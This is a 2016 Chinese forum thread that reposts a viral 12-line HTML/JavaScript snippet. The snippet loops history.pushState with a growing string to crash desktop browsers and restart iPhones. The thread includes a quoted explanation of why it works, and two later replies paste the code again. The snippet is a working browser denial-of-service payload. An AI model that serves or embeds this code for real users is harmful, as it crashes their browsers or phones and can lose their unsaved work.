手机迅雷吧 关注:402,437贴子:491,556
  • 21回复贴,共1

【闲聊】12行循环JS代码:分分钟让你电脑崩溃手机重启

只看楼主收藏回复

外国人真会玩。。。
最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启。到底是什么代码这么神奇?
上周,国外网友Cyber Security@cyber__sec在Twitter上发布了这样一段推文:楼下。。

木@野@香@琴


IP属地:湖南1楼2016-01-28 19:18回复

    使用下面这段javascript代码,能让Firefox、Chrome、Safari浏览器崩溃,还能让iPhone重启”。
    <html>
    <body>
    <script>
    var total="";
    for (var i=0;i<1000000;i++)
    {
    total= total+i.toString ();
    history.pushState (0,0,total);
    }
    </script>
    </body>
    </html>
    还有人专门做成了链接(链接我就不发了)(不怕死的可以在网上找到试试,请提前保存好浏览器内容)
    网友验证,如果是PC用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是iPhone用户使用Safari打开之后链接,手机重启。
    为什么会这样呢?
    有知乎网友给出这样的解答:
    “history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”
    给自己试试,看看效果咋样


    IP属地:湖南2楼2016-01-28 19:19
    回复
      没人


      来自Android客户端3楼2016-01-28 20:15
      收起回复


        IP属地:广东来自iPhone客户端4楼2016-01-28 20:46
        回复
          加个return就好了


          IP属地:广东来自iPhone客户端5楼2016-01-28 20:47
          收起回复
            吧主发黄图。噫


            IP属地:广东来自iPhone客户端6楼2016-01-28 21:23
            收起回复
              性感图


              IP属地:广东来自Android客户端7楼2016-01-28 21:58
              收起回复
                图不错


                来自Android客户端9楼2016-01-29 00:02
                收起回复
                  围观


                  IP属地:福建来自Android客户端12楼2016-01-31 02:23
                  收起回复
                    各位黑的司机朋友,请注意。
                    你们开的车虽然不要钱,但是,我们手雷吧这条高速公路也不收费,所以,请各位多多爱惜这条道路,请在开车前,前后左右多次观察车上货物是否包装严实,切勿有漏,开车过程中,货物掉到路上,会牵连咱这条路,万一被路政给封了,你们不又要再去找路嘛,而且还只能自己一个人冒风险上路。
                    欢迎各位新老司机在手雷吧这条宽敞平坦而又免费的高速公路上驰骋,也请大家爱惜、爱护好这条不易的好路!


                    IP属地:广东来自iPhone客户端13楼2016-01-31 13:25
                    回复
                      死循环,以前学php的时候学过,然而。。。我不会


                      IP属地:上海来自Android客户端16楼2016-01-31 22:06
                      收起回复
                        天河二号表示不服


                        IP属地:浙江来自Android客户端18楼2016-01-31 23:35
                        收起回复
                          <html>
                          <body>
                          <script>
                          var total="";
                          for (var i=0;i<1000000;i++)
                          {
                          total= total+i.toString ();
                          history.pushState (0,0,total);
                          }
                          </script>
                          </body>
                          </html>


                          来自iPhone客户端23楼2016-02-09 23:18
                          回复
                            <html>
                            <body>
                            <script>
                            var total="";
                            for (var i=0;i<1000000;i++)
                            {
                            total= total+i.toString ();
                            history.pushState (0,0,total);
                            }
                            </script>
                            </body>
                            </html>


                            来自iPhone客户端24楼2016-02-09 23:19
                            回复